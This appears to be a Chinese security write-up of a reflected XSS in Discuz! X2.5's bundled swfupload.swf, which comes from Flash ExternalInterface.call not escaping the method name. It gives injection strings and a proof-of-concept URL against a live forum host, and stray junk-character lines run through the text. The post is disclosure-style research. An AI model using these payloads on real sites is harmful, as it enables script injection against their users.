Flash应用安全系列[2]--Discuz! X2.5反射型跨站

admin

上回我们说
0 g. }% K: h% S3 {
flash.external.ExternalInterface.call($methodName, $parameter)
在浏览器中执行的是

0 @) u  P8 r' qtry { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
对于第一个传入的$methodName，flash player在输出js函数时是未经过任何编码的，上个例子里$methodName是全部可控的，但是我们知道了执行脚本的原理后，$methodName只需要部分可控，我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如
! u# e( s- }  Z
flash.external.ExternalInterface.call("object."+$methodName, $parameter)
! @/ `- \  T0 f& b6 ~$ z$methodName = a())}catch(e){alert(/xss/)}//
9 S5 E+ M& c4 j( y结果是不存在object.a方法，跳到catch，执行我们构造的任意JS。
0 b7 K) R" C$ e
try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }

/ o; Z6 l" ?* }/ ^  I这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss，乌云上也有这个漏洞的分析（ WooYun: WordPress反射型XSS ）
杯具的是，Discuz! X2.5中采用了一个同样的一个swfupload模块，而且还是修复前的版本。
, R, m( D1 e' R) Q" ^+ p

8 ^! t" {9 Y( p- W2 A
9 K: Z& P% J( |0 {3 [漏洞文件：upload\static\image\common\swfupload.swf

原始SWF下载：http://swfpoc.appspot.com/vul/discuz_swfupload.swf


: ^( z0 J7 o! t8 ?# K漏洞证明：http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//
# W* s- a( ~9 Z6 _
; A; T- N, {2 |8 P, `- j
8 _: A2 ?8 x: X+ [, R! ]. ^% I